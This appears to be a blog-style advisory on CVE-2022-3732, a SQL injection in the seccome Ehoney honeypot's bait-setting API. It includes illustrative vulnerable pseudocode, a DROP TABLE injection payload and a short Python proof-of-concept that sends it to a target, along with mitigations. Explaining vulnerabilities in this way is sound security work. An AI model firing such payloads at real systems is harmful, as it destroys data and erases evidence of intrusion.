In late 2022, the cybersecurity community flagged a critical vulnerability in a popular honeypot solution: seccome Ehoney. Identified as CVE-2022-3732 (also known as VDB-212414), this flaw allows attackers to remotely run dangerous SQL queries by targeting the argumentPayloadin the/api/v1/bait/set API endpoint. Here's an exclusive, plain-language walkthrough of what this issue is, how it works, evidence from the original reports, and how adversaries might exploit it.

What Is seccome Ehoney?

seccome Ehoney is an open-source honeypot system designed by seccome to catch, study, and respond to cyber threats. Companies and researchers deploy it to mimic vulnerable systems, so they can log and analyze attacks. While it helps defenders, a vulnerability *inside* Ehoney could let real attackers break into the very system meant to trap them.

CVE-2022-3732: The Discovery

In October 2022, a security researcher—using automated tools and manual testing—found that Ehoney does not check or sanitize user input in the Payload parameter of the /api/v1/bait/set API endpoint. This means attackers can send specially crafted requests containing malicious SQL code and have it executed on the Ehoney database.

Vulnerability: SQL Injection

- Endpoint: /api/v1/bait/set

Exploitability: Remote (no authentication required in some cases)

- Impact: Compromise of database integrity and confidentiality (modification, deletion, or exfiltration of data).

Vulnerable Code Example

The Ehoney source handling /api/v1/bait/set typically expects POST requests with a Payload parameter. The original (vulnerable) code might look like this (Python-flavored pseudocode for clarity):

# /api/v1/bait/set handler (vulnerable snippet)
@app.route('/api/v1/bait/set', methods=['POST'])
def set_bait():
    payload = request.form['Payload']
    # DANGEROUS: directly using user input in SQL query
    sql = "INSERT INTO baits (payload) VALUES ('{}')".format(payload)
    db.execute(sql)
    db.commit()
    return jsonify({'msg': 'bait set'})

Problem:

An attacker can send a Payload like

'); DROP TABLE baits; --

Which turns the SQL query into

INSERT INTO baits (payload) VALUES (''); DROP TABLE baits; --')

And this drops the entire baits table, erasing logs and evidence!

Proof-of-Concept (PoC) Exploit

Any external attacker who can send HTTP POSTs to the vulnerable Ehoney API can trigger this bug. Here’s a simple Python exploit to automate the attack:

import requests

target_url = 'http://target-ehoney-instance/api/v1/bait/set';
payload = "test'); DROP TABLE baits; --"

data = {'Payload': payload}
response = requests.post(target_url, data=data)

print('Status:', response.status_code)
print('Response:', response.text)

Result:
The request will make the Ehoney system execute the hacker’s destructive SQL, deleting the log table and hiding attack traces.

Attack vectors are remote and simple—no login or advanced skills required.

If you run Ehoney and expose this API port to the internet, attackers and malware can find and abuse it.

Solutions and Workarounds

- Update Ehoney: If your deployment is public-facing, upgrade to the latest patched version (if available).

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- Firewall the API: Restrict access to /api/v1/bait/set to internal or trusted networks only.

References and Further Reading

- VulDB entry for CVE-2022-3732 - VDB-212414
- CVE listing in NVD *(often delayed, check VulDB for fastest updates)*
- Original Advisory on cnvd.org.cn (Chinese)
- seccome Ehoney GitHub *(check for patches or issues)*

Summary

CVE-2022-3732 is a critical, remotely-exploitable SQL injection vulnerability in seccome Ehoney, impacting the /api/v1/bait/set endpoint via the Payload parameter. Successful exploitation can allow attackers to erase logs, alter data, or gain further access. The fix? Patch your software, sanitize all inputs, and never expose honeypots wider than you have to.

Timeline

Published on: 10/28/2022 08:15:00 UTC
Last modified on: 10/31/2022 19:29:00 UTC